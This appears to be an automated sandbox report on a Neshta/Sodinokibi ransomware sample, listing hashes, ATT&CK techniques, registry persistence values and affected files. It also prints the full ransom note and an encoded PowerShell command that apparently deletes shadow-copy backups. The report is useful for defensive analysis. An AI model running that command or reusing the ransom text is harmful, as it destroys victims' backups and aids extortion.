neshta | d186adf9bf8ae0b9759a2836f94597d6832f076bd03de9886181be53183d25de

Analysis

max time kernel
141s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
14-05-2024 19:07

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General

Target

42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
Size

222KB
MD5

42a2e208bc7721348699212bc5cf50e5
SHA1

15934add1f6f10bc50daa707bf8d02bb62edbdf7
SHA256

d186adf9bf8ae0b9759a2836f94597d6832f076bd03de9886181be53183d25de
SHA512

2549f5273ea6120dc18a97c1f59324e6e5696b15bf7f56a5c22c4d1c461fd6da200272aa58529b42a8e2ce6e8c8b1298030b38298bed9194b26882be8cb8cebb
SSDEEP

3072:sr85CIyyTsnAdu5tjgn/RRKwkwvMT3QE4f07YouoFhiLFrb30BRtBZZg+i2T:k9nyTsnXToKJw4gEWpoFuJ0BXScT

Score

10^/10

neshta sodinokibi persistence ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\324r52k7-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 324r52k7. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/082B4BBB7D859F3D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/082B4BBB7D859F3D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: jxHYy0qdR51909MTKFUXvf0xpB5WBg7BZqkGbtHD8r/0r2IFWhqVPm1e9MBgu6BC pz2JKf45Rw6tvtzsGyKQ99ooKdZvHfdNiDtH4NSjpy+oPYc6EoTx5ActWvlVsfcE 9vnFQCiCxkOD/r9NVZL85wrI48MhgeIIioHix2Hbbu5lbynuqDHmnyO36BaMJiGr DCzDaQlal4fNi+zUId9V1FIE4vq3gGrbhPl00FTN5viAr0TohcdXyYZVTrqmJeva e1nw2x2X88gY0YqkXLJfg3txgJ0k04lgQe2UVOAiNgqWmj8i0Jpg/z8iIAtcmuoE Ntt6mrEkqJnrszGPoSxABBg3jZKh6bjhN22+PGJy6vCedHkcqdln5/RlU6pr91H2 9YsHURA4Ne7f7d2sS0MUlulq8Guxa/r7WSekSTo91yZebrNlWaz0QLtUKkNvzmxu febUs5tADz1QW4uN25mN48pxpTFaAKffwSdju3lsHbluVz3w0AlYSrf0rYzePhRT ch2OqxfLZxu+t3DGEj/e/nf3gunzcIHKrrHt96QqyrepECOqF8c3E68yQG01pgmO oPug7oW3UsaZEj01NdCxdVM3Lr1PxCxlx3AaNURMlj5pycVDPRaoYwU7imIrOHnb 71PwW2IawyJfo6+sLOw2yLY4opEllSuEQ0Xcz47Mkw/dFRFkyhsIhPMO+VUNzEXh /eF1fxE5JBlfqYTqvZL9IyUJAvIzo/GsJZ+E1tcGAq+lKaTx3pWQsrZJ/xOzZhW/ ib/XJXcR5BJ5w8rCowcBqDoQ68vfJCG+uY3tSe7lS0xde6WW1mJIRssuBT7oNDfX E+qT+AiC072F+gByXUgTv1MRIAohr9DahlWbikOsC2+tWZ4htWlxczikh205DK+w pg/CA7jUH2655mMfm8JfcRiuGMocMvalp+qeFgLuYhd5Xl1DgPE0DF+gixk305bK 4+wQ2fF6dJrd6fBAdxSJqRLniA6N+lql65cXsvofUN4XDnkVR47yCCq9yGBd3eRB awM3u6b3dw5cNlbjPiQXSHaWfujbiTS8DsvrV9iL781GbYvXtSGG/Qf1wyUzP/ce NC3EeixuII+CkuadNK2DQgH1iDOjh6VKPpKaTwb+AfxVX87Q6eIv7Hy/ZLWEwLRw vuz2y9Ym/ZuC0/OmIe5/OpUMgR55fVa5LgtuEuHsoNG/Guq4W0a7xBXGjBBQubfs k6rsVGjmWsnMhNnIB4z3U1ugxHa3NIsFhLjXEIxGqMAWqwpk2i8mE9a47mCHwSo6 ck4zArJ7jv9IVe4x24zQuR7x7STnV8VmelrLDctr9gS7AmwqlgA1Wa3nJrLmNnPl iD9zgGGfR8P0QVQk7ZmmqbVcWMQRcTywNgXAfogw2QSs6nbME80HP031 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/082B4BBB7D859F3D

http://decryptor.cc/082B4BBB7D859F3D

Signatures

Detect Neshta payload 4 IoCs

resource	yara_rule
behavioral2/files/0x0006000000020237-12.dat	family_neshta
behavioral2/memory/1896-237-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/1896-674-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/1896-676-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\International\Geo\Nation	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
3568	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3582-490\\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\U:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\X:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\Y:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\L:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\M:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\N:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\D:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\G:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\I:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\F:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\H:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\J:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\T:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\Z:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\A:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\E:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\P:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\S:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\W:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\B:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\O:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\V:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\K:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened (read-only)	\??\Q:	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\njg74v.bmp"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\IDENTI~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13185~1.29\MI391D~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConfirmRepair.ex_	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File created	\??\c:\program files\324r52k7-readme.txt	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SplitCopy.iso	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13185~1.29\MIA062~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\PWAHEL~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\NOTIFI~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{63880~1\WINDOW~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13185~1.29\MICROS~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\Download\{F3C4F~1\13185~1.29\MICROS~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeNew.wma	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeUnblock.i64	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{D87AE~1\WINDOW~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF5AF~1\WINDOW~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ApproveSelect.html	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ReadEnter.midi	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\HideMerge.htm	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ClearConvertTo.3gp	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EnterUnlock.docx	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnpublishPush.rm	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~3.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13185~1.29\MI9C33~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SaveTest.xps	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SaveEdit.php	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\svchost.com	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3568	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
3568	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
4376	powershell.exe
4376	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3568	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeBackupPrivilege	2560	vssvc.exe
Token: SeRestorePrivilege	2560	vssvc.exe
Token: SeAuditPrivilege	2560	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1896 wrote to memory of 3568	1896	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	85
PID 1896 wrote to memory of 3568	1896	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	85
PID 1896 wrote to memory of 3568	1896	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	85
PID 3568 wrote to memory of 4376	3568	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	91
PID 3568 wrote to memory of 4376	3568	42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe	91

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1896
- C:\Users\Admin\AppData\Local\Temp\3582-490\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\3582-490\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Enumerates connected drives
  - Sets desktop wallpaper using registry
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4376

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3744

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE

Filesize
86KB

MD5
3b73078a714bf61d1c19ebc3afc0e454

SHA1
9abeabd74613a2f533e2244c9ee6f967188e4e7e

SHA256
ded54d1fcca07b6bff2bc3b9a1131eac29ff1f836e5d7a7c5c325ec5abe96e29

SHA512
75959d4e8a7649c3268b551a2a378e6d27c0bfb03d2422ebeeb67b0a3f78c079473214057518930f2d72773ce79b106fd2d78405e8e3d8883459dcbb49c163c4

Download Submit
C:\Users\324r52k7-readme.txt

Filesize
6KB

MD5
2f9f0cf282ed84823ee492f3fd95977b

SHA1
52944556f130266f8edcb4cd9b73b8067c5a9c58

SHA256
9dd2cfe9425354d55983ea8ae73ca71eee1c759f1d0d03f4df4926a3498a9f05

SHA512
8eee52cbba9ecd71500bc9aa3d3882bfa02cce79c1723b908ebc4dfe3dc841bdc70080bcd8a9362348ff1eb96484204eda1c24a7bb5d6e3f115fdd642313f632

Download Submit
C:\Users\Admin\AppData\Local\Temp\3582-490\42a2e208bc7721348699212bc5cf50e5_JaffaCakes118.exe

Filesize
182KB

MD5
dbe120d11b3601be9d102ac83dbdc449

SHA1
3ecf3759ed50e08a3ee6e2dc298525baac0e861f

SHA256
0a16f3a7610aa43ee770d81a5324b9d7d6cbc85f9968d215ccc4bc39fe884999

SHA512
5769ff54058c023800fbf25939ae528e3f4ec7145553b666af9fc73087c7dab6ec37c762daa8a5741c29ed276babbfd3d626ad457ecc4308a0e71a4a52e399a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gmjjpwax.n30.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1896-237-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/1896-674-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/1896-676-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/4376-96-0x00007FF868313000-0x00007FF868315000-memory.dmp

Filesize
8KB

Download
memory/4376-97-0x0000027273FA0000-0x0000027273FC2000-memory.dmp

Filesize
136KB

Download
memory/4376-107-0x00007FF868310000-0x00007FF868DD1000-memory.dmp

Filesize
10.8MB

Download
memory/4376-108-0x00007FF868310000-0x00007FF868DD1000-memory.dmp

Filesize
10.8MB

Download
memory/4376-111-0x00007FF868310000-0x00007FF868DD1000-memory.dmp

Filesize
10.8MB

Download